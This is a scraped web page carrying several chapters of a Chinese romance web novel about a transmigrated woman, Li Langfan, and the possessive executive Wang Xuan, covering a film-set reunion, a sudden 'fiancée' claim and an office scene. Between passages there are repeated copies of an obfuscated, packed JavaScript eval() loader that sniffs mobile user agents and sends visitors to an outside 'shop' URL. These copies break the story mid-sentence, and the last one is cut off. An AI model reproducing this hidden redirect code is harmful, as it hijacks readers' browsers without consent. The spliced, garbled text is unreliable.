;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126340|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他几个人的轨迹发生了改变。 相同的人物,却有着不同的命运。 李浪帆控制不住地去想,究竟是自己来到了原书剧情的平行世界,还是同样的世界,只是时间线在她不知道的时候已然修改。 无法找到答案,她长叹一口气,“走吧,我现在已经没有家了,再看也没意思。” 司机把车开了过来,送他们去影视基地。 王暄看她一副怅然若失的神色,又松了松手中无形的锁链,“回去看看有没有喜欢的房子,送你一套。我不回来的时候,你可以过去住。” “不用,你买的房子又不是我的家。” 李浪帆显然没意识到,控制狂愿意给她这一点自由,已经算是大发慈悲了。 她问道:“我们现在是什么关系?” “你觉得呢?” “你认定我居心叵测,却又把我留下,还……打的什么主意不是昭然若揭吗?” 王暄神色莫测地看着她:“你倒是有胆子说。” 李浪帆完全不在意这警告,继续道:“你把我当情人?玩物?闲暇时随手逗弄的一条狗?或者是……” 未出口的话被一个凶狠的、带有惩罚意味的吻终结。 直到受不住的人传出了一声呜咽,才被他放过。 王暄气极反笑,捏着她下巴威胁道:“下次再说这种话,我不介意用别的东西堵上你的嘴。” “许你这么想,不许我这么说?我知道你心里没把我当人看。”李浪帆冷笑着瞪他一眼。 只是这一双水汽迷蒙的眸子,在此时看来却偏偏含有万种风情。 “我没有这么想。”王暄心口猛地一颤,莫名烦躁起来。 李浪帆垂眼看向他挑起自己下巴的手,嘴唇紧抿一言不发。 王暄似乎被她这控诉的目光灼伤一般,下意识松开了手。 他深吸一口气,平复下翻涌在心中的千百种情绪。 “对不起。”印象中,似乎从未说过这三个字,不过真当说出口的时候,发现道歉也并不像想的那么难。 “我知道自己性格不好,在行为上对你多有得罪,但确实没有瞧不起你的意思,对于冒犯之处,希望你可以原谅我。” 久居上位的男人极少低头,现在这样语气诚恳地反躬自省,说出去怕是会让所有人惊掉下巴。 他非常认真地说:“我以前从未喜欢过别人,也不知道要怎么去建立亲密关系。可以多给我一些时间吗?” 李浪帆愣住了,根本没想到王暄会如此直接地道歉,怪不得都说真诚才是必杀技。 像是回到了从前。 她目光飘向车窗外,干巴巴地撂下一句:“我们有的是时间。” 严晏昨天晚上就收到了王暄的消息,虽然不明白这金主抽哪门子风,非要见沈溪云,但还是把正在休假的她叫来了。 车子缓缓驶入影视城,轮胎压得青石板不断作响。 李浪帆一眼就看到,此时站在门口等他们的,正是沈溪云。 虽然现实世界里她们的小火苗从没断过,但是两人上次见面,还是前年的十一。 那会儿他们的公司放假,沈溪云刚在省里培训完,严晏推掉了所有的活动,四人总算是重新凑到了一起。 他们从乌市出发,自驾玩了十天,终于实现了曾经的愿望。 车刚停稳,不等司机拉开车门,李浪帆就一跃而出。 “你好呀!”她笑着伸出了手,带着几分久别重逢的喜悦。 然而,在沈溪云也礼貌地伸出手准备友好致意时,她却突然改变了主意。 只见她迅速上前,轻轻抱了沈溪云一下。 时间仿佛凝固,过往与现实碰撞在一起。 沈溪云怔怔立在原地。 她确信自己一定认识眼前这人,但是无论如何都想不起来。 “你还好吗?”她自己都不知道,为什么会这么问。 52. 旧友 听她这么问,李浪帆简直喜出望外。 她眼睛一下子亮了起来,语气中也充满期待,“你还记得我?” 一些未曾发生过的画面在沈溪云脑海中不断闪现,但那碎片远不足以拼凑出眼前这样一个完整的李浪帆。 “抱歉,只是觉得您眼熟,但实在想不起来了。” 她表情有些歉疚,迟疑着问道:“我们在哪里见过吗?” 李浪帆一时不知道该怎么向她解释,总不能逢人就说这个世界是一本小说,她们在剧情修正前是好朋友。 王暄不动声色地打量着二人,有些不确定这到底是不是一场精心策划的戏码。 “别在门口站着,先进去吧。”他打破沉默。 “王董好。”沈溪云连忙收敛起脸上的情绪,向他打招呼。“非常抱歉,严老师这会儿正在拍戏走不开,我带你们过去,请。” 态度十分恭敬,完全看不出从前对待朋友的随意。 李浪帆之前查到,严晏现在是扶光影视旗下最火的艺人,他和王暄都持有公司股份。 也就是说,王暄现在也是沈溪云的老板之一。这样的身份让她需要随时保持着职场距离。 李浪帆不得不感慨打工人真难啊! 沈溪云在原书设定中,是单恋男二严晏的配角,一直以来都只会默默付出,痴情守候。但男二却和男主一样,心中只有赴美的白月光女主。 就这一点信息,还是以前系统透露的。等她再追问下去,系统就以与任务无关为由,不肯再多说半分。 原书中的沈溪云是因为喜欢严晏,才甘愿来给他当助理,放在现实世界怎么可能? 娱乐圈鱼龙混杂,免不了勾心斗角,争名夺利。她那种性格,绝不会选择艺人助理这职业。 李浪帆突然想起在毕业后的那天晚上,他们几个人都聚在观澜湾,沈溪云曾用遗憾地语气说:“我没有信心留住这样的人。” 后来她考去南方的一所大学,毕业一年后,又考上了中州市的税务局,从此就一直留在体制内发展。 听沈溪云说,她从没想过吃回头草,除了那次自驾,也没和严晏再见过面。 李浪帆琢磨着旧事,没心思去看周围繁忙的剧组人员,也没心思去看眼前的碧瓦飞甍,雕梁画栋。 如果严晏真的和原剧情一样,心里只有高霏,那她得想办法劝沈溪云及时止损。 她走路向来不喜欢把腿抬高,更何况现在还沉浸在自己的思绪中,根本没注意到脚下松动的青砖比其他地方要高出一截。 “小心。”王暄眼疾手快拉住了她的胳膊。 沈溪云的声音中充满了关切:“没事吧?” “没事没事!”李浪帆的心脏狂跳不已,随手在腰间擦去掌心细密的冷汗,“吓我一跳。” “你吓我一跳!”王暄眉心微蹙,“走路不看路,在想什么呢?” 她低声道:“回去跟你讲。” 几人隔着大半个片场的距离,看见严晏正在拍一场群戏。 园中秋意正浓。 六个穿着古装的男人,或站或坐,围绕在一方几案前。 有人屏气凝神,有人赞叹连连。他们的目光都汇聚到中间正在作画的青年身上,那人正是严晏。 严晏头戴墨色儒巾,身穿白色直裰,正在低头作画。 大约八九个婢仆侍奉于他们身侧,添茶倒水,焚香抚琴。 李浪帆侧头问道:“这演的是什么?” 不待王暄答话,沈溪云马上解释说:“这是一部架空历史剧。主要讲述了胡人南下,汉人奋起抗争,最终复国的故事。严老师在剧里饰演男一号,是个才华横溢,文武双全的宫廷画师。” “原来如此,挺有意思。” 王暄微笑着摸摸她的头发,声音温柔又随意,“要演个角色玩玩儿吗?” 李浪帆连忙摆手,“算了吧,我那尴尬的演技,就不给大家添堵了。” 沈溪云面色如常站在原地,心中却十分惊讶。 她从没见过,也没听说过王暄会对哪位女性这么亲密。 原以为老板带人来这里,是想把她塞进娱乐圈,托给严晏带。只是现在看来,恐怕并不是这样。 李浪帆看了他一眼,神色中充满戏谑,似是在说:“跟你专业对口。” 王暄轻易读懂了她的表情,微微俯身凑近她耳畔,“回去给你画一张好不好?” 低沉的声线和呼出的热气像带着钩子一般,直钻进她心里。 李浪帆挑眉一笑:“行啊,看看你有没有退步。” 不断有认出王暄的人过来跟他打招呼,他也很有涵养地一一向来人颔首示意。 沈溪云看到有些人在偷偷打量李浪帆,于是提议道:“附近有个咖啡厅,您要不要过去坐坐?严老师这边可能还得再等一会儿。” “好。” 咖啡厅内,柔和的灯光洒在各种绿植上。轻纱遮掩住隔间,增添了几分私密与雅致的氛围。 李浪帆与王暄并肩而坐,两人举止间透露出难以言喻的亲昵感。 沈溪云坐在他们对面,双手交握放在大腿上,看上去有些拘谨。 她把人送到后,就借口说要去片场等严老师下戏,没想到王暄却让她留下。 领导发话,总不能不听,只得硬着头皮坐下。 饮品和甜点送来的很快,只有沈溪云点了咖啡。 “还没自我介绍,我叫李浪帆。”李浪帆拿出手机,点开了二维码,“咱俩同岁,我也是中州人,要不要加个好友?” 嘴上问着要不要,却已经笑意盈盈把手机推到了沈溪云面前。 她心道:“中州下辖县级市的乡镇上的村里人,也是中州人,我这不算骗你。” “好的好的!”沈溪云当即加了好友,又觉得她名字听起来也耳熟无比。 “做艺人助理是不是很忙呀?” “还好,艺人比较忙。”她轻抿了一口咖啡,尽量让自己的回答显得轻松自然。老板就在对面坐着,总不好去抱怨工作。 李浪帆理所当然道:“他们挣那么多钱,忙是应该的。” 她尝了一小块芒果蛋糕,脸上闪过一丝笑意。又竖起叉子切下一角,递到王暄嘴边,“尝尝,不是很甜。” 王暄就着她的手,自然地含住了那块蛋糕,言简意赅评价道:“还行。” 李浪帆抬眼就对上了沈溪云的目光,不好意思地说:“芒果的,你过敏,吃不了哈。” “咱们是小学同学吗?”沈溪云记得她五年级的时候,在学校突然芒果过敏,满脸都是红疹子,那次挺多人都看到了。 不过还是有些疑惑,真的有人能记住并不相熟的小学同学对什么过敏吗? “咱仨都是同学。”李浪帆平静地说着剧情修正前的关系,怕她再追问,把话题引向了剧组的工作日常。 这时手机系统默认的铃声突然响起,王暄看眼来电,留下一句:“有工作,你们聊。”就出去了。 老板一走,沈溪云总算少了许多顾忌。两人聊得颇为投机,她愈发觉得相见恨晚。 还挑了一些离谱的事向李浪帆吐槽,倒像是非常肯定她不会回去找王暄告状一样。 李浪帆听地啧啧称奇,心想挣点钱真是不容易,“感觉你挺讨厌这份工作的,当初怎么会去做助理?” 沈溪云微微一顿,“毕业的时候,心里有个声音一直在说,一定要当上严晏的助理,所以我就来了。”只有两个人在,她也不再称呼他为严老师了。 李浪帆怀疑这是角色无意识地在受原书限制。 她试探地问道:“你现在还喜欢严晏吗?” “没有没有!我和严老师只是同事,我们没有除此之外的任何关系。” 沈溪云连忙解释那都是不实传言,但眼中一闪而过的黯然还是被李浪帆捕捉到了。 说曹操曹操到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164764|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严晏还穿着那套直裰,连假发都没来得及卸下,拍摄刚结束便匆匆赶过来,像古人穿越了千年时光走到她们面前。 李浪帆看向他身后,没见到王暄的人影。 “你好,我是严晏。”严晏向李浪帆欠身致意,随即坐在了她对面。 沈溪云克制住往旁边挪的冲动,神色有些僵硬,不自觉地搅动着咖啡杯中的吸管。 李浪帆做了自我介绍,问道:“王暄呢?” “他还在处理工作,让我先进来找你们。”严晏目光一滞,似乎对她直呼王暄的名字略感意外。 即便在剧情修正前,二人也没有私下联系过,这会儿李浪帆更没什么好跟他叙旧的,决定开门见山。 “高霏最近事业进展地还顺利吗?”她不着痕迹地打量起严晏的反应。 严晏露出好奇的表情,“挺好的,最近还采访了不少大人物。你认识她?” 沈溪云向他解释说:“浪帆是我们小学同学。” 他勾起唇角客套道:“那咱们真是有缘,这么多年后还能在北明市再见。” 然而他根本不记得小学里究竟有没有这一号人。 李浪帆原本只是试探一下,看是否真如系统所言,就算十几年过去,严晏也没忘记高霏。 现在一提名字,他还能立刻说出人家近况,肯定是没少联系,直叫人心里犯嘀咕。 “你们近期见过吗?我听说她有回国发展的意向。” 高霏家里在华有投资,二、三产业都有涉及,还实控着一家传媒公司。虽然明面上的股东另有其人,但那只是因为政策限制原因,在国内找的白手套。 并且这白手套,和李浪帆还有莫大的渊源。 严晏微微一笑,只敷衍道:“是吗?具体的我还真不清楚。” 他的话不知是真是假,可这不愿多谈的样子,让李浪帆也不好再问。 虽然她有心劝严晏最好早点和高霏断了联系,小心身败名裂,但鉴于他们今天刚互相认识,这事儿还得让王暄去提。 一想到王暄在书里与白月光旧情复燃的设定,她心情便更加烦躁起来。 严晏却将话题转向了她,“刚才片场我听到有人讨论,说你这么漂亮,一定是王董接下来要捧的演员。” 他的目光中带着几分审视,但并未让人感到不舒服。 “但我觉得不是。” 李浪帆无奈笑道:“确实不是。” “你是他女朋友吗?”虽然有些唐突,但他还是问了出来。 严晏前几日就得知王暄从Bluenight俱乐部带回了一个女人,而且还是那里的工作人员。 听说好友为了她,还冲冠一怒,向警方提供了不少那些人作奸犯科的证据。现在不光俱乐部关门,连带着背后一串人都跟着锒铛入狱。 老房子着火,相当稀奇。 他猜测带走的人应该就是李浪帆,可能确实因着一层同学关系,才又重新和王暄搭上线。 严晏心道:“早就想见识是何方神圣能拿下那个工作狂,今天一见,模样确实漂亮。” “呃……应该也不是。”李浪帆支吾其词,连自己都说不准和王暄是什么关系。 此刻她完全不知道,她已经成了别人眼中迷惑大佬的红颜祸水。 严晏哑然失笑,“这怎么还有‘应该’的?” 李浪帆腹诽道:“我单方面说的又不算,你怎么不去问他?” 这时,她余光看到纱帘外有高大的身影向他们走来,心中一动,故意扬声说:“其实我是他的情……” 她话音未落,便见王暄撩开纱帘,淡然开口打断道:“她是我的未婚妻。” 李浪帆心脏猛地一跳,像看到黑夜中于刹那间绽放的烟火,世界被突然点亮。 “你想起……” 当她想要说出什么时,却被身侧那人平静地揽住了腰。只觉腰间手指微微用力,仿佛在警告她刚才的胡言乱语。 53. 名分 李浪帆眼中期待的光芒逐渐黯淡。 原以为是王暄想起了他们曾经的旧事,然而一个简单的动作,又将她打回现实。 着实是空欢喜一场。 她眉头微蹙,清澈的双眸中尽是不解与疑惑。王暄既然没有过去的记忆,在这个世界里两人也没有订婚,现在给她个未婚妻的名分,不知道打得什么算盘。 听到这消息,严晏和沈溪云都大吃一惊,谁能想到他不声不响,连未婚妻都有了。 “怎么从没听你提过?什么时候的事儿?” 严晏难以置信地反复打量着二人,怀疑自己想猜了,眼前这女人并不是那个俱乐部的服务生。 “你现在知道也不晚。”王暄并没有解答他疑惑的打算,“公司有个会,我们先走了。” 李浪帆也随之起身,眼中闪过一丝尴尬,准备赶紧溜之大吉。 她冲两人挥挥手,“下次见,拜拜!” 说完,转身跟上王暄的步伐,刚迈出一步,又回头看向沈溪云,匆忙留下一句:“有空找我聊哈。” 王暄坐在车里,低头回着消息,一只手搭在李浪帆肩上,手指轻轻缠绕起她一缕发丝。 他侧头看过去,声音中略带遗憾,“突然有个紧急会议,下午不能陪你逛了。” “没事儿,一会儿我回家就行。” 李浪帆早习惯了他玩自己头发的幼稚行为,看了一眼时间,关切问道:“你中午不吃饭吗?快十二点了。” 王暄眼神瞬间变得锐利起来,冷笑道:“Bluenight背后是港合集团的黄嘉超,这老杂种牵了几条狗想给我使绊子,等收拾完他们再说。” “问题严重吗?”她有些不好意思,轻咬着嘴唇,觉得这麻烦是自己惹来的。 “比你好应付。”王暄轻易读懂了她的想法,松开了指尖黑发,捧起她的脸,温柔地留下一个安抚的吻。 “陪我一起去公司?中午让林秘书带你出去吃。” 李浪帆耳尖微红,“我点个外卖就行。” “你之前救的那个女演员江薇,和她公司副总要来当面致谢。等开完会我陪你一起见。”王暄像是发现了更有趣的目标,开始轻轻揉搓起她的耳垂。 “不用吧?举手之劳,这么客气干什么。” 李浪帆抓住他作弄自己的那只手,牢牢握在掌中。 王暄深深地凝视着她,语气认真起来,“不是你‘举手之劳’,她就要被老畜生侵犯了。你冒着巨大风险去揭露那些罪行,为什么要用‘举手之劳’这四个字,轻描淡写地揭过去呢?” 李浪帆向来奉行“事了拂衣去,深藏身与名”,还真不大习惯别人郑重其事来感谢她。 “用不着当无名英雄,受害者不止她一个。既然你当时勇敢地站出来了,现在坦坦荡荡接受感谢就好。” 一个吻落在她眉心,温柔的声音在耳边低喃道:“要没有这‘举手之劳’,我怎么会被你的性格、智慧、胆气所吸引?” 听到他这么直白的夸赞,李浪帆忍不住哂笑道:“差点死那儿,还吹呢,我都害臊。” 她转念一想,哪怕因着王暄的面子,人家演员和公司领导似乎也非来道谢不可。 那天晚上,若不是王暄最后出面,也没人会知道俱乐部的G什么是谁。 现在自然没人想惹这尊大佛,把一切都当做没发生。 “行,到时候你替我聊,我不太会跟人客套。”李浪帆觉得人家大概想趁机和他拉近关系,索性把事推给王暄。 “好。” 两人不约而同沉默下来,车内只有舒缓的轻音乐在静静流淌。 过了半晌,李浪帆迟疑问道:“你刚才为什么说我是你未婚妻呀?我还以为你都想起来了。” 王暄勾起唇角,理所当然道:“我不是你的未婚夫吗?你自己说的,我们都一起买婚房了,还不算么?” 他现在觉得那些故事是真是假,其实并没有什么关系。 既然李浪帆那么说,自己索性就当成真的好了。最坏的结果,无非是身边混入个商业间谍。 凝视着女人深邃的眼眸,他仿佛窥见了他们的过去与未来,脑中只剩下一句诗—— 宁不知倾城与倾国,佳人难再得。 “你什么记忆都没有,应该不……算吧。”李浪帆觉得这完全要看当事人的认知。 一瞬间,她脑子里闪现过无数个有关“前世今生”“平行世界”这类题材的文艺作品。 “过几天你要是反悔了,怎么跟他们解释啊?” 除了平白多一段情史沦为别人的谈资,对他们没有任何好处,她怎么想都觉得王暄刚才太冲动了。 “我有义务向别人解释吗?”王暄无所谓地笑笑,“你要是怕我反悔,我们可以抽出时间,举办个订婚仪式。” “你家里又不同意我们在一起,还是别了,咱俩能过几天是几天吧。”想起旧事,李浪帆苦涩一笑,实在是不敢答应。 如果被王暄家中知道两人有结婚的打算,免不了又招来一堆麻烦。还不如就这样维持现状,到时候无论谁想抽身也都更容易些。 “我也不需要谁同意。”王暄一脸倨傲,嗤笑道:“听起来,你的那个‘我’似乎很无能,连自己的事情都不能做主。” “是我的问题。”她一副不愿多说的样子,“我这种情况,即便是普通人家也不会愿意的。” 王暄以为她说的是家世,并没有当回事儿。 车辆驶向市区,穿梭在高楼大厦的缝隙间,最终开进了一个科技园区。 园区内高楼林立,大厦的玻璃幕墙在阳光下熠熠生辉。 整个园区都是王暄公司的产业。 车子停在其中一栋大楼前。 再华丽的建筑也是牛马打工的地方,李浪帆自动带入社畜视角,一进门,就已经觉得自己有一身班味儿了。 不断有员工向王暄问好,她面色平静跟在一边,无法自抑地怀念起以前动画公司轻松的氛围。 董事长办公室在八楼,她觉得非常不错。就不说吉利,起码万一有个火灾,十楼以下逃生还是比较容易的。 路过一间透明玻璃墙的办公室,能看到里面摆着不少绿植和装饰品。 王暄在门口叫了一声“林秘书”,一个干练的年轻女性立刻起身走出来,跟在他们后面。 董事长办公室大概有三百多平米,整体设计以冷灰色调为主,看上去简约又不失沉稳。 半弧形的巨大落地窗弥补了主体颜色偏暗的缺点,室内自然采光非常充足。阳光透过玻璃,将这看上去充满冰冷气息的房间也衬得温暖起来。 “我去开会,你有什么需要找林秘书。”王暄简短地交代后,又对林秘书地介绍道:“这是我未婚妻。” 李浪帆欲言又止,心想光脚的不怕穿鞋的,一个称呼而已,随他去吧。 林秘书心中再怎么震惊,面上仍一副热情敬业的模样。 两人寒暄之际,王暄已步入休息室换好了衣服。 他手上拿着一条深色领带,走出来对李浪帆示意:“会打领带吗?” “会!”李浪帆指指椅子,“你坐下。半温莎可以吗?” 林秘书移开了视线,对这种办公室秀恩爱的行为,她准备回去偷偷跟好朋友蛐蛐几句。 “可以”,王暄刚听话坐下,就见她出人意料地拿着领带绕到自己身后。 “你要谋杀?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201792|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “《暗藏杀机的办公室》(前篇)。”李浪帆把领带缠在王暄脖子上,轻轻勒住吓唬他。 然后才解释道:“我只会给自己打,所以只能在你背后操作,你努力克制一下心中的恐惧。” 回应她的只有一声哼笑。 给人系上领带后,她退后两步,上下打量了一番,觉得这个身份的王暄,看起来成熟稳重许多。 拍了拍他的肩膀,鼓励道:“加油!天凉了,把那老杂种公司搞破产!” 王暄伸手揉了揉李浪帆的发顶,“吃完饭睡会儿,我走了。” 下午四点,冗长的会议终于结束了。 “王董。”刚要进门送文件的林秘书向他礼貌致意。 李浪帆正半躺在沙发上玩手机,看见他的瞬间,迅速坐起身,“怎么样?顺利吗?开了三个多小时会,这不累死?要不要吃点什么?” “顺利。你中午吃的什么?”看着她充满活力的模样,王暄嘴角不自觉地上扬,心中那股烦躁瞬间烟消云散。 “鳗鱼饭,那会儿说到柯南突然想吃,就点了。” “再陪我吃点?”他解开领带,随意地将外套丢在沙发上,然后靠着李浪帆坐下。 她摆摆手,“你自己吃吧,我吃不下了。” “林秘书,让人送份简餐上来。” “好的。”林秘书应声,顺手提起茶壶为老板斟满茶水。 正要给李浪帆续水时,她连忙拒绝道:“不用给我倒茶,再喝晚上该睡不着了。” “睡不着可以干点别的事。”王暄意有所指。 林秘书非常有眼色地迅速退出了办公室。 李浪帆被他当着外人面不要脸的行为气笑了,反问道:“干什么?夜爬华山去不去?” 她“啧啧”两声,故意道:“毕业那年,咱俩晚上九点多开始爬山,还在东峰看了日出。现在你年龄大了,肯定没有体力能爬上去。” 被挑衅的某人微微一笑,“有没有体力,试试就知道了。” “那我订票?”李浪帆以为他认真的,说话间就已经点开了软件,迅速查看起今日的车票。 “还行,五个小时,来得及。一会儿到车站我去办个临时身份证明。” 她正要输入购票信息,手机就被王暄抽走了。 带着懵懂又疑惑的眼神抬头看向他,对上了一双充满戏谑的眸子。 “哦,你在开黄色玩笑。”李浪帆这才反应过来,翻了个白眼,“想得挺美。” “你不愿意,我不会强迫你。” “主要是剧情线修正后,你除了长相其余都和以前不太一样。” 李浪帆觑着他脸色,犹豫了几秒,随即理直气壮道:“咱俩现在要那什么,我过不去心里这道坎,你等我适应适应再说。” 甚至都不用提更进一步地发展,哪怕只是和现在的王暄接吻,都会让她产生正在出轨的感觉。 “好,我等你。” 李浪帆因为这简单的一句话,心中翻涌起太多无法描述的情绪。 “我最近要是出去工作,会不安全吗?”她不自然地岔开了话题。 为了避免他不同意,又补充理由道:“要不然以后别人问你未婚妻是干什么的,你总不能说是社会闲散人员,对吧?” “去哪工作?”王暄眼神晦暗不明。 李浪帆叹了口气,一脸无奈的表情,“不知道,我在招聘软件上翻了翻,动画编剧基本都要求有五年及以上的工作经验。我在这儿显然没有。” 王暄语气中带了几分试探,“不如你留下给我当秘书,负责整理资料和日常事务就行。” 如果她真是王琮派来的人,应该不会错过这么好的机会。 54. 故交 “干不来这活儿。”李浪帆想也不想就拒绝他,又叹道:“唉,你们公司怎么就不涉及动画产业呢?” 王暄轻靠在沙发上,抬手把人揽进怀里。 这并不出乎他的预料。 经过这几天相处,他的直觉在不断告诉自己,李浪帆并没有那么复杂。 但同时也非常清楚,对她的疑心不会这么快就消失。 李浪帆枕着他的肩膀,情绪有些低落,“我之前还不死心搜了咱们公司的名字,果然没有。” “叫什么?” “不羡四荒。” 王暄被这极具中二风格的名字惹得发笑,用一种看小孩子的目光看着她,无奈摇摇头。 “嘿!”李浪帆推他一把,直起身来,不服气地瞪过去。 “动画公司,叫这种名字很正常好不好!那还不是你总说:‘做动画就要有不知疲倦的精神’,我才结合咱们中州话起了这么个名字!” 这名字在舌尖滚了两遍,才察觉到是“不嫌累得慌”的意思。 “原来如此。”他哑然失笑。 “我也在网上搜了穆老师的信息。原本还以为就算没有你,人家也能在这行留下浓墨重彩的一笔,但是除了他大学的毕设,什么都没找到。你看!” 李浪帆说的是穆潇。 因为他给王暄代过课,所以公司很多人都跟着他尊称一声“穆老师”。 她边说边在浏览器里输入穆潇的名字,搜索结果出来后,把手机递过去。 除了那部国风毕设短片,的确没有其他相关词条。 “按理说他那个业务水平,放在哪都不会被埋没,我实在是想不通怎么会这样。” 看着李浪帆对别人赞不绝口的样子,王暄眼睛微眯。 “穆潇,他小学跟我在一个学校,祖母曹青霞是国画大师,跟我奶奶关系不错。” 这些倒是和剧情修正前没什么出入。 穆潇受家学影响深厚,不少个人作品都能看出国画的影子。 她还见穆潇画过几张工笔画,确实神形兼备,意境悠远。 王暄沉默片刻,遗憾说道:“但是他两年前就在美国去世了。为了保护同胞,死于一场枪击案。” “什么?!” 李浪帆的思维在这一刻凝滞,各种声音逐渐隐去,连眼神也变得空洞而迷茫。 唯余心脏在胸腔中沉重地跳动。 她难以相信那个才华横溢,总是一副气定神闲模样的朋友,就这样毫无征兆地离开了人世。 但一切诡异中又透露着合理。 以大洋另一边的治安情况,枪击简直是家常便饭,而穆潇偏偏就是那种会为了别人挺身而出的个性。 她只能不断安慰自己,“没关系,穆老师在原本世界中活得好好的,身强体健、事业有成,多少人都羡慕不来。” 可即便这么想,心中仍觉得悲戚。 “你想找他叙旧,怕是办不到了。” 王暄看她这般黯然神伤,眸色愈发幽暗,每个字都像是从牙缝中挤出来的。 占有欲和控制欲像野草一般疯长。 “你想找别的工作,恐怕也难。” 他垂下眼睛,不想让她看到自己阴冷的目光,但恶意却控制不住地从唇齿间蔓延出来,“凭你的学历,又能去哪里?” 李浪帆见过的恶人太多了,对这种程度的讥讽根本没放在心上。 “我在这没上过大学吗?”她有些难以置信。 心想自己高中的时候遇到那么多糟心事儿,照样考上了大学,原书的“我”遇到了什么不可抗力因素吗? 王暄的声音听起来十分冷漠,“九年义务教育毕业。” 简单一句话,让李浪帆悬着的心彻底死了。 她干笑道:“不会吧……” 王暄走向办公桌,俯身点开了电脑上的文件,指节敲敲桌面。 “你自己看。” 李浪帆脚步急切,毫不客气地坐在他的办公椅上。 握着鼠标的手心莫名地渗出了细汗。 “你找人查的?还挺详细。毛利亲传大弟子。”她一目十行地浏览着关于自己的信息。 忽然,干燥温暖的手掌覆在李浪帆手背上,阻止她继续往下滑。 王暄敢给她看这些,就猜到她不会生气。 然而此刻看着她纯粹的眼神,心中忽然生出了不忍。 “别看了。” 他有些后悔,后悔自己不该残忍地去揭开那些伤疤。 “来都来了。” 李浪帆没听他的,夺回了鼠标的控制权,接着往下看。 “何源,这是谁呀?”点开这个充满陌生感名字的链接,大概扫了几眼,根本想不起来这人到底是谁。 她咬着指甲抬起头,语气不是很确定的样子,“咱那会儿班里好像没这个人,反正我没印象。” 王暄目光沉沉盯着李浪帆,觉得这一举一动完全不似作伪。 他脑海中控制不住地在想,“或许真的有平行时空吧。” 若非如此,李浪帆不该是这种反应。 见到害了她后半生的人,见到当年不堪的过去,绝不可能这般云淡风轻。 他几乎要相信他们之间所谓的过去了。 “这小畜生还想占我便宜,断子绝孙纯属活该。” 李浪帆放下鼠标,抱臂靠在椅背上,长叹一声,“果然,冲动是魔鬼。看着挺解气,但是为这玩意儿把自己前途搭上,还真有点划不来。” 王暄心想:“我当时如果在,绝不会看着你被人这般欺负。” “应该像搞赵江宇和李学勤那样,把这几个□□崽子都弄进监狱里。” “如果我当年和你一个学校……”他忍不住说出口后,又觉得自己脑子真是不清醒,竟会为过去的事遗憾惋惜,在这里妄谈如果。 怎么可能会有如果? 李浪帆粲然一笑,“你在呀!我那个世界里,咱俩不仅一个学校,还一个班,还坐一起,还互相补习!日子过得非常开心!” 她伸手揪住王暄胸前的衣襟把人往下拉,在他唇角印下了一个响亮的吻。 “哎呀,你不用可怜我。我又没有亲身经历过这些,没多少实感,当个故事看看就好了。” 这正是她能容忍王暄不像从前在乎她的原因。 毕竟没有亲身经历过,只是听她的回忆,哪会有代入感? 怎么会真的只凭她一面之词,就认定这是自己的恋人。 好在王暄对她挺感兴趣,两人重新认识倒也不难。 李浪帆看得连连咂舌,“祸兮福所依了属于是,没有学霸光环,赵江宇果然不像从前一样纠缠我了,我就说他很慕强。” 王暄靠着桌子,轻轻抚摸着她的脸颊。 她面不改色地继续看,然后冷笑道:“李学勤还真被催债的打残了呀?这个‘我’怎么还给他转钱?让他自生自灭得了。” 手指轻柔的动作带来些微痒意,她感觉那指尖试探性地想挤入自己口中时,略微用力咬了他一下。 皱眉嫌弃道:“洗手了吗你!” 不耐烦地把那人四处作乱的手挥开,又看到了更离谱的东西。 “你怎么连人家律师的信息都查?‘档案仙人’非你莫属。” 资料中显示,为她提供法律援助的张律师,后来跳槽到王琮的公司。 又看到了自己曾经打工的咖啡店,后面还标注了所在地址。 很好,都和王琮有关系。 “怪不得他以为我是琮哥派来的人。”李浪帆暗骂系统给她挖了个大坑。 她觉得这嫌疑实在难以洗清,说不定还越描越黑,只好岔开话题,“这情况确实不好找工作哈。” 王暄淡淡道:“所以才让你留在我这。” “但我对你现在的事业一窍不通,真的做不来。我再想想别的办法吧。” 李浪帆心想:“都怀疑我跟琮哥有关系了,还敢让我当秘书,真是心大。况且要是当你秘书,上班看你脸色,下班还要看你脸色,这也太难受了。” 就在这时,助理敲门走进来,他正是替王暄调查李浪帆资料的人。 听人说董事长今天带了未婚妻来就觉得不大对劲,到办公室一看,竟然是身份成疑李浪帆。 一瞬间,只觉得十分震撼,没想到这种低劣的美人计都能奏效。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 